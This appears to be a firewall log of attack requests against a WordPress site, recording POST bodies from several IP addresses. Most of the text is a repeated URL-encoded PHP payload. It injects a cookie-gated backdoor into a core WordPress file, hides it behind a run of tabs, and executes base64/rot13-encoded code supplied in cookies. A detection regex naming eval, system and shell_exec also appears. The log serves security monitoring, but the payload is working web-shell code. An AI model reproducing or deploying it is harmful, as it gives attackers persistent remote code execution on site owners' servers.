3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvF1xvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaWypKIyp3EmVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\ncontent-length:4354\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.3 Safari\/605.1.15\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\n\nKY=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/customize\/class-wp-customize-nav-menu-control.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B37%252B-37%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-48%252B49%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B20%252B-17%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B35%252B-31%255D%2529%2529%2520%257B%2520%2524dchunk%2520%253D%2520%2524_COOKIE%253B%2520function%2520query_handler%2528%2524ref%2529%2520%257B%2520%2524dchunk%2520%253D%2520%2524_COOKIE%253B%2520%2524flag%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%2527b0794b76%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524flag%2529%2529%2520%257B%2520%2524flag%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522publish_content%2522%253B%2520%257D%2520%2524ent%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%2520%2522%2520.%2520base64_decode%2528str_rot13%2528%2524dchunk%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524flag%2529%2529%2520%257B%2520%2524token%2520%253D%2520fopen%2528%2524flag%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524token%252C%2520%2524ent%2529%253B%2520fclose%2528%2524token%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524flag%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524flag%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522query_handler%2522%2529%253B%2520%2524parameter_group%2520%253D%2520%252279134ab682e49de9e64c17ea63e32d5a%2522%253B%2520if%2520%2528%2521strncmp%2528%2524parameter_group%252C%2520%2524dchunk%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522hub_center_dataflow_engine%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 17:55:36","179.27.99.226","POST","\/wp-admin\/site-health.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/104.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> ai:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/customize\/class-wp-customize-nav-menu-control.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B37%252B-37%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-48%252B49%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B20%252B-17%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B35%252B-31%255D%2529%2529%2520%257B%2520%2524dchunk%2520%253D%2520%2524_COOKIE%253B%2520function%2520query_handler%2528%2524ref%2529%2520%257B%2520%2524dchunk%2520%253D%2520%2524_COOKIE%253B%2520%2524flag%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%2527b0794b76%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524flag%2529%2529%2520%257B%2520%2524flag%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522publish_content%2522%253B%2520%257D%2520%2524ent%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%2520%2522%2520.%2520base64_decode%2528str_rot13%2528%2524dchunk%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524flag%2529%2529%2520%257B%2520%2524token%2520%253D%2520fopen%2528%2524flag%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524token%252C%2520%2524ent%2529%253B%2520fclose%2528%2524token%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524flag%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524flag%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522query_handler%2522%2529%253B%2520%2524parameter_group%2520%253D%2520%252279134ab682e49de9e64c17ea63e32d5a%2522%253B%2520if%2520%2528%2521strncmp%2528%2524parameter_group%252C%2520%2524dchunk%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522hub_center_dataflow_engine%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/site-health.php HTTP\/1.1\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncookie:4=3a8677dc156d672c6e12f16237adcc36; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvLJxvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYz9vK2ywo252K2uuozEfMFV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/104.0.0.0 Safari\/537.36\ncontent-type:application\/x-www-form-urlencoded\nsec-ch-ua:\"Chromium\";v=\"104\", \" Not A;Brand\";v=\"99\", \"Google Chrome\";v=\"104\"\nsec-ch-ua-mobile:?0\nsec-fetch-site:none\nsec-ch-ua-platform:\"Windows\"\ncontent-length:4354\naccept-encoding:gzip,deflate\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-fetch-mode:navigate\naccept:*\/*\nsec-fetch-user:?1\nupgrade-insecure-requests:1\nsec-fetch-dest:document\n\nai=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/customize\/class-wp-customize-nav-menu-control.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B37%252B-37%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-48%252B49%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B20%252B-17%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B35%252B-31%255D%2529%2529%2520%257B%2520%2524dchunk%2520%253D%2520%2524_COOKIE%253B%2520function%2520query_handler%2528%2524ref%2529%2520%257B%2520%2524dchunk%2520%253D%2520%2524_COOKIE%253B%2520%2524flag%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%2527b0794b76%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524flag%2529%2529%2520%257B%2520%2524flag%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522publish_content%2522%253B%2520%257D%2520%2524ent%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%2520%2522%2520.%2520base64_decode%2528str_rot13%2528%2524dchunk%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524flag%2529%2529%2520%257B%2520%2524token%2520%253D%2520fopen%2528%2524flag%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524token%252C%2520%2524ent%2529%253B%2520fclose%2528%2524token%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524flag%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524flag%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522query_handler%2522%2529%253B%2520%2524parameter_group%2520%253D%2520%252279134ab682e49de9e64c17ea63e32d5a%2522%253B%2520if%2520%2528%2521strncmp%2528%2524parameter_group%252C%2520%2524dchunk%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522hub_center_dataflow_engine%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 17:55:41","162.240.108.214","POST","\/wp-admin\/network\/plugins.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> wZ:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/customize\/class-wp-customize-nav-menu-control.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B37%252B-37%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-48%252B49%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B20%252B-17%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B35%252B-31%255D%2529%2529%2520%257B%2520%2524dchunk%2520%253D%2520%2524_COOKIE%253B%2520function%2520query_handler%2528%2524ref%2529%2520%257B%2520%2524dchunk%2520%253D%2520%2524_COOKIE%253B%2520%2524flag%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%2527b0794b76%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524flag%2529%2529%2520%257B%2520%2524flag%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522publish_content%2522%253B%2520%257D%2520%2524ent%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%2520%2522%2520.%2520base64_decode%2528str_rot13%2528%2524dchunk%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524flag%2529%2529%2520%257B%2520%2524token%2520%253D%2520fopen%2528%2524flag%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524token%252C%2520%2524ent%2529%253B%2520fclose%2528%2524token%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524flag%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524flag%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522query_handler%2522%2529%253B%2520%2524parameter_group%2520%253D%2520%252279134ab682e49de9e64c17ea63e32d5a%2522%253B%2520if%2520%2528%2521strncmp%2528%2524parameter_group%252C%2520%2524dchunk%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522hub_center_dataflow_engine%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/network\/plugins.php HTTP\/1.1\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncookie:4=730da3e67a08a749df0620450f4abf2e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvq1bvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaWznJ5xVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\ncontent-type:application\/x-www-form-urlencoded\nsec-ch-ua:\"Chromium\";v=\"110\", \"Not A(Brand\";v=\"24\", \"Google Chrome\";v=\"110\"\nsec-ch-ua-mobile:?0\nsec-fetch-site:none\nsec-ch-ua-platform:\"Windows\"\ncontent-length:4354\naccept-encoding:gzip,deflate\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-fetch-mode:navigate\naccept:*\/*\nsec-fetch-user:?1\nupgrade-insecure-requests:1\nsec-fetch-dest:document\n\nwZ=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/customize\/class-wp-customize-nav-menu-control.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B37%252B-37%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-48%252B49%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B20%252B-17%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B35%252B-31%255D%2529%2529%2520%257B%2520%2524dchunk%2520%253D%2520%2524_COOKIE%253B%2520function%2520query_handler%2528%2524ref%2529%2520%257B%2520%2524dchunk%2520%253D%2520%2524_COOKIE%253B%2520%2524flag%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%2527b0794b76%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524flag%2529%2529%2520%257B%2520%2524flag%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522publish_content%2522%253B%2520%257D%2520%2524ent%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%2520%2522%2520.%2520base64_decode%2528str_rot13%2528%2524dchunk%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524flag%2529%2529%2520%257B%2520%2524token%2520%253D%2520fopen%2528%2524flag%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524token%252C%2520%2524ent%2529%253B%2520fclose%2528%2524token%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524flag%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524flag%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522query_handler%2522%2529%253B%2520%2524parameter_group%2520%253D%2520%252279134ab682e49de9e64c17ea63e32d5a%2522%253B%2520if%2520%2528%2521strncmp%2528%2524parameter_group%252C%2520%2524dchunk%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522hub_center_dataflow_engine%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 17:55:44","92.205.188.156","POST","\/wp-includes\/block-patterns\/query-large-title-posts.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/100.0.4896.75 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> IMAhJp:eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/customize\/class-wp-customize-nav-menu-control.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B37%252B-37%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-48%252B49%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B20%252B-17%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B35%252B-31%255D%2529%2529%2520%257B%2520%2524dchunk%2520%253D%2520%2524_COOKIE%253B%2520function%2520query_handler%2528%2524ref%2529%2520%257B%2520%2524dchunk%2520%253D%2520%2524_COOKIE%253B%2520%2524flag%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%2527b0794b76%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524flag%2529%2529%2520%257B%2520%2524flag%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522publish_content%2522%253B%2520%257D%2520%2524ent%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%2520%2522%2520.%2520base64_decode%2528str_rot13%2528%2524dchunk%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524flag%2529%2529%2520%257B%2520%2524token%2520%253D%2520fopen%2528%2524flag%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524token%252C%2520%2524ent%2529%253B%2520fclose%2528%2524token%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524flag%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524flag%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522query_handler%2522%2529%253B%2520%2524parameter_group%2520%253D%2520%252279134ab682e49de9e64c17ea63e32d5a%2522%253B%2520if%2520%2528%2521strncmp%2528%2524parameter_group%252C%2520%2524dchunk%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522hub_center_dataflow_engine%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));","POST \/wp-includes\/block-patterns\/query-large-title-posts.php HTTP\/1.1\ncontent-type:application\/x-www-form-urlencoded\naccept-encoding:gzip,deflate\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"100\", \"Google Chrome\";v=\"100\"\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-ch-ua-mobile:?0\nsec-fetch-site:none\nsec-ch-ua-platform:\"Windows\"\ncontent-length:4377\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/100.0.4896.75 